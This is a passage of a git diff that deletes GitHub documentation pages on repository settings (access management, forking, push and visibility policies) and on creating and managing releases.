to submit reviews that approve or request changes to pull requests in your public repository. When you enable code review limits, anyone can comment on pull requests in your public repository, but only people with read access or higher can approve pull requests or request changes. - -You can also enable code review limits for an organization. If you enable limits for an organization, you will override any limits for individual repositories owned by the organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization). - -## Enabling code review limits - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under **Access**, click **{% octicon "comment-discussion" aria-hidden="true" %} Moderation options**. -1. Under **Moderation options**, click **Code review limits**. -1. Select or deselect **Limit to users explicitly granted read or higher access**. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md deleted file mode 100644 index 4312ca42b2e3..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Managing teams and people with access to your repository -intro: You can see everyone who has access to your repository and adjust permissions. -permissions: People with admin access to a repository can manage teams and people with access to a repository. -redirect_from: - - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository - - /github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository - - /github/administering-a-repository/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -shortTitle: Teams & people ---- - -## About access management for repositories - -For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository. - -This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents. - -{% data reusables.organizations.mixed-roles-warning %} - -{% ifversion repository-collaborators %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can invite a member of your enterprise to collaborate in a repository that either a user or organization owns. The invited user will only have access to the repository, even if the repository belongs to an organization. The user must be provisioned by your company's identity provider (IdP). For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators-or-repository-collaborators). - -{% data reusables.repositories.repository-collaborators-release-phase %} - -{% endif %} - -For more information about repository roles, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -## Filtering the list of teams and people - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.click-collaborators-teams %} -1. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find. Optionally, use the dropdown menus to filter your search. {% ifversion org-custom-role-with-repo-permissions %} - - You can also toggle between the **Direct access** and **Organization access** tabs to view who has direct access to the repository and who can access the repository via a team or organization role.{% endif %} - -## Changing permissions for a team or person - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.click-collaborators-teams %} -1. Under "Manage access", next to the team or person whose role you'd like to change, select the **Role** dropdown menu, and click a new role. - -## Inviting a team or person - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.click-collaborators-teams %} -{% data reusables.organizations.invite-teams-or-people %} -1. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches. -1. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. - -## Removing access for a team or person - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.click-collaborators-teams %} -1. Under "Manage access", next to the team or person whose access you'd like to remove, click **Remove**. - -## Further reading - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/setting-base-permissions-for-an-organization) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md deleted file mode 100644 index ec692d7bf812..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Managing the commit signoff policy for your repository -intro: 'You can require users to automatically sign off on the commits they make to your repository using {% data variables.product.github %}''s web interface.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: Organization owners and repository administrators can require all commits to a repository to be signed off by the commit author. -topics: - - Repositories -shortTitle: Manage the commit signoff policy ---- - -## About commit signoffs - -Commit signoffs enable users to affirm that a commit complies with the rules and licensing governing a repository. You can enable compulsory commit signoffs on individual repositories for users committing through {% data variables.location.product_location %}'s web interface, making signing off on a commit a seamless part of the commit process. Once compulsory commit signoffs are enabled for a repository, every commit made to that repository through {% data variables.location.product_location %}'s web interface will automatically be signed off on by the commit author. - -Organization owners can also enable compulsory commit signoffs at the organization level. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization). - -{% data reusables.repositories.commit-signoffs %} - -## Enabling or disabling compulsory commit signoffs for your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Select **Require contributors to sign off on web-based commits**. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md deleted file mode 100644 index cd9f51afc3e8..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Managing the forking policy for your repository -intro: 'You can allow or prevent the forking of a specific private{% ifversion ghes or ghec %} or internal{% endif %} repository owned by an organization.' -redirect_from: - - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization - - /github/administering-a-repository/managing-the-forking-policy-for-your-repository - - /github/administering-a-repository/managing-repository-settings/managing-the-forking-policy-for-your-repository -permissions: People with admin permissions for a repository can manage the forking policy for the repository. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Manage the forking policy ---- -An organization owner must allow forks of private{% ifversion ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization). - -You can help prevent sensitive information from being exposed by disabling the ability to fork repositories in your organization. For more information, see [AUTOTITLE](/code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization). - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features", select **Allow forking**. If you do not have this option, you may not have permissions to control this setting. Check with the owner of the organization that administers the repository or with the owner of the repository about your access. - -## Further reading - -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md deleted file mode 100644 index 874eabb00b28..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Managing the push policy for your repository -intro: You can limit how many branches and tags can be updated in a single push. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: People with admin permissions for a repository can manage the push policy for the repository. -topics: - - Repositories -shortTitle: Manage the push policy ---- - -## About the push policy - -> [!NOTE] -> The push policy is currently in {% data variables.release-phases.public_preview %} and subject to change. - -By default, there is no limit to the number of branches and tags that can be updated in a single push. - -You can limit the number of branches and tags that can be updated in a single push to block potentially destructive pushes. This can prevent or limit the loss of data. - -The push policy also blocks the Git command: `git push --mirror`. This is a potentially destructive command for making the remote exactly match the local clone. When run by accident, it can cause many force-pushes and branch deletions on the remote without any warning. - -## Limiting how many branches and tags can be updated in a single push - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Pushes", select **Limit how many branches and tags can be updated in a single push**. -1. After "Up to", type the number of branches and tags you want to limit in a single push. Lower numbers are more restrictive of which pushes are allowed, and higher numbers are less restrictive but have more potential for being destructive. - - We recommend the default maximum of `5` branch or tag updates allowed in one push. The minimum value is `2`, because Git requires two branch updates to rename a branch in a single push: _delete branch_ and _create branch_. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md deleted file mode 100644 index 3119df097b2d..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: Setting repository visibility -intro: You can choose who can view your repository. -redirect_from: - - /articles/making-a-private-repository-public - - /articles/making-a-public-repository-private - - /articles/converting-a-public-repo-to-a-private-repo - - /articles/setting-repository-visibility - - /github/administering-a-repository/setting-repository-visibility - - /github/administering-a-repository/managing-repository-settings/setting-repository-visibility -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Repository visibility ---- - -## About repository visibility changes - -> [!NOTE] -> If you can't change a repository's visibility, the organization owner may have restricted the ability to change repository visibility to organization owners only. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization). - -{% ifversion ghec %} - -Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only set the visibility of repositories owned by their personal account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see [AUTOTITLE](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users). - -{% endif %} - -We recommend reviewing the following caveats before you change the visibility of a repository. - -{% ifversion ghes %} - -> [!WARNING] -> Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network. -> -> * Wait for a period of reduced activity on {% data variables.location.product_location %}. -> * Contact your site administrator before proceeding. Your site administrator can contact us for further assistance by visiting {% data variables.contact.contact_ent_support %}. - -{% endif %} - -### Making a repository private - -* {% data variables.product.github %} will detach public forks of the public repository and put them into a new network. Public forks are not made private. -{%- ifversion ghes or ghec %} -* If you change a repository's visibility from internal to private, {% data variables.product.github %} will remove forks that belong to any user without access to the newly private repository. The visibility of any forks will also change to private. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility) -{%- endif %} -{%- ifversion fpt %} -* If you're using {% data variables.product.prodname_free_user %} for personal accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans) and [AUTOTITLE](/pages/configuring-a-custom-domain-for-your-github-pages-site/managing-a-custom-domain-for-your-github-pages-site). -{%- endif %} -{%- ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github#about-the-github-archive-program). -* {% data variables.product.prodname_GHAS %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that has access to the feature in private repositories with a {% data variables.product.prodname_GHAS %}{% ifversion ghas-products %}, {% data variables.product.prodname_GH_code_security %}, or {% data variables.product.prodname_GH_secret_protection %}{% endif %} license and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} -{%- endif %} -{%- ifversion ghes %} -* Anonymous Git read access is no longer available. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository). -{%- endif %} - -{% ifversion ghes or ghec %} - -### Making a repository internal - -* Any forks of the repository will remain in the repository network, and {% data variables.product.github %} maintains the relationship between the root repository and the fork. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility) - -{% endif %} - -### Making a repository public - -* {% data variables.product.github %} will detach private forks and turn them into a standalone private repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository){% ifversion fpt or ghec %} -* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories). -* The repository will automatically gain access to {% data variables.product.prodname_GHAS %} features. -* Actions history and logs will be visible to everyone. If your repository had reusable or required workflows that were shared from a different repository in your organization, the workflow file path including the repository name will be visible in the logs. For more information on how to remove workflow runs and artifacts see [AUTOTITLE](/actions/managing-workflow-runs#deleting-logs) and [AUTOTITLE](/rest/actions/workflow-runs). - -For information about improving repository security, see [AUTOTITLE](/code-security/getting-started/securing-your-repository).{% endif %} - -## Consequences of changing a repository's visibility - ->[!CAUTION]Before you change your repository's visibility, understand the consequences of this change. - -### Changing from public to private - -* Stars and watchers for this repository will be permanently erased, which will affect repository rankings. -* Custom {% data variables.product.prodname_dependabot %} alert rules will be disabled unless {% data variables.product.prodname_GH_code_security %} is enabled for this repository. Dependency graph and {% data variables.product.prodname_dependabot_alerts %} will remain enabled with permission to perform read-only analysis on this repository. -> * {% data variables.product.prodname_code_scanning_caps %} will become unavailable unless {% data variables.product.prodname_code_security %} is enabled for this repository. -* Current forks will remain public and will be detached from this repository. - -### Changing from private to public - -* The code will be visible to everyone who can visit {% data variables.location.product_location %}. -* Anyone can fork your repository. -* All push rulesets will be disabled. -* Your changes will be published as activity. -* Actions history and logs will be visible to everyone. -* Stars and watchers for this repository will be permanently erased. - -### Changing from private to internal - -* All members of the enterprise will be given read access. -* Outside collaborators can no longer be added to forks unless they're added to the root. -* Stars and watchers for this repository will be permanently erased. - -### Changing from internal to private - -* Stars and watchers for this repository will be permanently erased, which will affect repository rankings. -* Custom {% data variables.product.prodname_dependabot %} alert rules will be disabled unless {% data variables.product.prodname_GH_code_security %} is enabled for this repository. Dependency graph and {% data variables.product.prodname_dependabot_alerts %} will remain enabled with permission to perform read-only analysis on this repository. -> * {% data variables.product.prodname_code_scanning_caps %} will become unavailable unless {% data variables.product.prodname_code_security %} is enabled for this repository. -* Current forks will remain public and will be detached from this repository. - -### Changing from internal to public - -* The code will be visible to everyone who can visit {% data variables.location.product_location %}. -* Anyone can fork your repository. -* All push rulesets will be disabled. -* Your changes will be published as activity. -* Actions history and logs will be visible to everyone. -* Stars and watchers for this repository will be permanently erased. - -### Changing from public to internal - -* All members of the enterprise will be given read access. -* Outside collaborators can no longer be added to forks unless they're added to the root. -* Stars and watchers for this repository will be permanently erased. - -## Changing a repository's visibility - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Danger Zone" section, to the right of to "Change repository visibility", click **Change visibility**. -1. Select a visibility. -1. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. -1. Click **I understand, change repository visibility**. - -## Further reading - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility) diff --git a/content/repositories/releasing-projects-on-github/about-releases.md b/content/repositories/releasing-projects-on-github/about-releases.md deleted file mode 100644 index 047ed11b7b6b..000000000000 --- a/content/repositories/releasing-projects-on-github/about-releases.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: About releases -intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.' -redirect_from: - - /articles/downloading-files-from-the-command-line - - /articles/downloading-files-with-curl - - /articles/about-releases - - /articles/getting-the-download-count-for-your-releases - - /github/administering-a-repository/getting-the-download-count-for-your-releases - - /github/administering-a-repository/about-releases - - /github/administering-a-repository/releasing-projects-on-github/about-releases -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About releases - -Releases are deployable software iterations you can package and make available for a wider audience to download and use. - -Releases are based on [Git tags](https://git-scm.com/book/en/v2/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see [AUTOTITLE](/repositories/releasing-projects-on-github/viewing-your-repositorys-releases-and-tags). - -You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions). - -Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository). - -You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/automatically-generated-release-notes). - -When viewing the details for a release, the creation date for each release asset is shown next to the release asset. - -GitHub will automatically include links to download a zip file and a tarball containing the contents of the repository at the point of the tag's creation. - -{% ifversion fpt or ghec %} -People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.github %} creates for each release. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository). - -If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories). - -You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph). -{% endif %} - -You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see [AUTOTITLE](/rest/releases). - -{% ifversion fpt or ghec %} - -## Storage and bandwidth quotas - - Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage. - -{% endif %} diff --git a/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md b/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md deleted file mode 100644 index 88201abe04e6..000000000000 --- a/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Automatically generated release notes -intro: You can automatically generate release notes for your GitHub releases -permissions: Repository collaborators and people with write access to a repository can generate and customize automated release notes for a release. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -shortTitle: Automated release notes -communityRedirect: - name: Provide GitHub Feedback - href: 'https://github.com/orgs/community/discussions/categories/general' ---- - -## About automatically generated release notes - -Automatically generated release notes provide an automated alternative to manually writing release notes for your {% data variables.product.prodname_dotcom %} releases. With automatically generated release notes, you can quickly generate an overview of the contents of a release. Automatically generated release notes include a list of merged pull requests, a list of contributors to the release, and a link to a full changelog. - -You can also customize your automated release notes, using labels to create custom categories to organize pull requests you want to include, and exclude certain labels and users from appearing in the output. - -## Creating automatically generated release notes for a new release - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -{% data reusables.releases.create-release %} -{% data reusables.releases.previous-release-tag %} -{% data reusables.releases.release-title %} -1. Above the description field, click **Generate release notes**. -1. Check the generated notes to ensure they include all (and only) the information you want to include. -{% data reusables.releases.finish-release %} - -## Configuring automatically generated release notes - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.files.add-file %} -1. In the file name field, type `.github/release.yml`. This will create a new file called `release.yml` in the `.github` directory. -1. In the file, using the configuration options below, specify in YAML the pull request labels and authors you want to exclude from this release. You can also create new categories and list the pull request labels to be included in each of them. - -### Configuration options - -| Parameter | Description | -| :- | :- | -| `changelog.exclude.labels` | A list of labels that exclude a pull request from appearing in release notes. | -| `changelog.exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from release notes. | -| `changelog.categories[*].title` | **Required.** The title of a category of changes in release notes. | -| `changelog.categories[*].labels`| **Required.** Labels that qualify a pull request for this category. Use `*` as a catch-all for pull requests that didn't match any of the previous categories. | -| `changelog.categories[*].exclude.labels` | A list of labels that exclude a pull request from appearing in this category. | -| `changelog.categories[*].exclude.authors` | A list of user or bot login handles whose pull requests are to be excluded from this category. | - -### Example configurations - -A configuration for a repository that labels semver releases - -{% raw %} - -```yaml copy -# .github/release.yml - -changelog: - exclude: - labels: - - ignore-for-release - authors: - - octocat - categories: - - title: Breaking Changes 🛠 - labels: - - Semver-Major - - breaking-change - - title: Exciting New Features 🎉 - labels: - - Semver-Minor - - enhancement - - title: Other Changes - labels: - - "*" -``` - -{% endraw %} - -A configuration for a repository that doesn't tag pull requests but where we want to separate out {% data variables.product.prodname_dependabot %} automated pull requests in release notes (`labels: '*'` is required to display a catchall category) - -{% raw %} - -```yaml copy -# .github/release.yml - -changelog: - categories: - - title: 🏕 Features - labels: - - '*' - exclude: - labels: - - dependencies - - title: 👒 Dependencies - labels: - - dependencies -``` - -{% endraw %} - -## Further reading - -* [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) diff --git a/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md b/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md deleted file mode 100644 index f8fac83eaf5b..000000000000 --- a/content/repositories/releasing-projects-on-github/automation-for-release-forms-with-query-parameters.md +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Automation for release forms with query parameters -intro: 'To quickly create releases by auto-populating the new release form with customized information, you can add query parameters to the URL for the release form page.' -redirect_from: - - /articles/automation-for-release-forms-with-query-parameters - - /github/administering-a-repository/automation-for-release-forms-with-query-parameters - - /github/administering-a-repository/releasing-projects-on-github/automation-for-release-forms-with-query-parameters -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Automate release forms ---- -Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results, an issue template, or the release form page on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair. - -You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to create releases to pre-fill the releases form. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository). - -If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a 404 error page. - -## Supported query parameters - -Query parameter | Example ---- | --- -`tag` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1` creates a release based on a tag named "v1.0.1". -`target` | `https://github.com/octo-org/octo-repo/releases/new?target=release-1.0.1` creates a release based on the latest commit to the "release-1.0.1" branch. -`title` | `https://github.com/octo-org/octo-repo/releases/new?tag=v1.0.1&title=octo-1.0.1` creates a release named "octo-1.0.1" based on a tag named "v1.0.1". -`body` | `https://github.com/octo-org/octo-repo/releases/new?body=Adds+widgets+support` creates a release with the description "Adds widget support" in the release body. -`prerelease` | `https://github.com/octo-org/octo-repo/releases/new?prerelease=1` creates a release that will be identified as non-production ready. - -## Further reading - -* [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue#creating-an-issue-from-a-url-query) -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request) diff --git a/content/repositories/releasing-projects-on-github/comparing-releases.md b/content/repositories/releasing-projects-on-github/comparing-releases.md deleted file mode 100644 index 1f2a6fb9278c..000000000000 --- a/content/repositories/releasing-projects-on-github/comparing-releases.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Comparing releases -intro: You can compare release tags to see changes to your repository between different releases. -permissions: People with read access to a repository can view and compare releases. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/comparing-releases - - /github/administering-a-repository/releasing-projects-on-github/comparing-releases ---- -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} - -1. Next to the release you want to use as your base, select the **Compare** dropdown menu, then click the tag you want to compare. - - ![Screenshot of a release in the releases list. A dropdown menu, labeled "Compare, is highlighted with an orange outline.](/assets/images/help/releases/refreshed-compare-tags.png) diff --git a/content/repositories/releasing-projects-on-github/index.md b/content/repositories/releasing-projects-on-github/index.md deleted file mode 100644 index cfb44b2faf54..000000000000 --- a/content/repositories/releasing-projects-on-github/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Releasing projects on GitHub -intro: 'You can create a release to package software, release notes, and binary files for other people to download.' -redirect_from: - - /categories/85/articles - - /categories/releases - - /github/administering-a-repository/releasing-projects-on-github -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /about-releases - - /managing-releases-in-a-repository - - /viewing-your-repositorys-releases-and-tags - - /searching-a-repositorys-releases - - /linking-to-releases - - /comparing-releases - - /automatically-generated-release-notes - - /automation-for-release-forms-with-query-parameters -shortTitle: Release projects ---- diff --git a/content/repositories/releasing-projects-on-github/linking-to-releases.md b/content/repositories/releasing-projects-on-github/linking-to-releases.md deleted file mode 100644 index 17ec3df2c7bb..000000000000 --- a/content/repositories/releasing-projects-on-github/linking-to-releases.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Linking to releases -intro: You can share every release you create on GitHub with a unique URL. -redirect_from: - - /articles/linking-to-releases - - /github/administering-a-repository/linking-to-releases - - /github/administering-a-repository/releasing-projects-on-github/linking-to-releases -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## Linking to the latest release - -You can share a link to the latest release for a repository by adding `releases/latest` to the end of a repository's URL. For example, the URL for the latest release of `octo-org/octo-repo` is `https://{% data variables.product.product_url %}/octo-org/octo-repo/releases/latest`. - -To link directly to a download of your latest release asset that was manually uploaded, the suffix is `/releases/latest/download/asset-name.zip`. - -## Linking to older releases - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. To copy a unique URL to your clipboard, find the release you want to link to, right click the title, and copy the URL. diff --git a/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md b/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md deleted file mode 100644 index 74311dfa2b63..000000000000 --- a/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Managing releases in a repository -intro: You can create releases to bundle and deliver iterations of a project to users. -redirect_from: - - /articles/creating-releases - - /articles/listing-and-editing-releases - - /articles/editing-and-deleting-releases - - /articles/managing-releases-in-a-repository - - /github/administering-a-repository/creating-releases - - /github/administering-a-repository/editing-and-deleting-releases - - /github/administering-a-repository/managing-releases-in-a-repository - - /github/administering-a-repository/releasing-projects-on-github/managing-releases-in-a-repository -permissions: 'Repository collaborators and people with write access to a repository can create, edit, and delete a release.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Manage releases ---- -## About release management - -You can create new releases with release notes, @mentions of contributors, and links to binary files, as well as edit or delete existing releases. You can also create, modify, and delete releases by using the Releases API. For more information, see [AUTOTITLE](/rest/releases/releases) in the REST API documentation. - -{% ifversion fpt or ghec %} -You can also publish an action from a specific release in {% data variables.product.prodname_marketplace %}. For more information, see [AUTOTITLE](/actions/creating-actions/publishing-actions-in-github-marketplace). - -You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.github %} creates for each release. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository). -{% endif %} - -## Creating a release - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -{% data reusables.releases.create-release %} -{% data reusables.releases.previous-release-tag %} -{% data reusables.releases.release-title %} -1. In the "Describe this release" field, type a description for your release. - If you @mention anyone in the description, the published release will include a **Contributors** section with an avatar list of all the mentioned users. - Alternatively, you can automatically generate your release notes by clicking **Generate release notes**. -{% data reusables.releases.finish-release %} - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -1. To create a release, use the `gh release create` subcommand. Replace `tag` with the desired tag for the release. - - ```shell - gh release create TAG - ``` - -1. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_release_create). For example, this command creates a prerelease with the specified title and notes. - - ```shell - gh release create v1.3.2 --title "v1.3.2 (beta)" --notes "this is a {% data variables.release-phases.public_preview %} release" --prerelease - ``` - -If you @mention any {% data variables.product.github %} users in the notes, the published release will include a **Contributors** section with an avatar list of all the mentioned users. - -{% 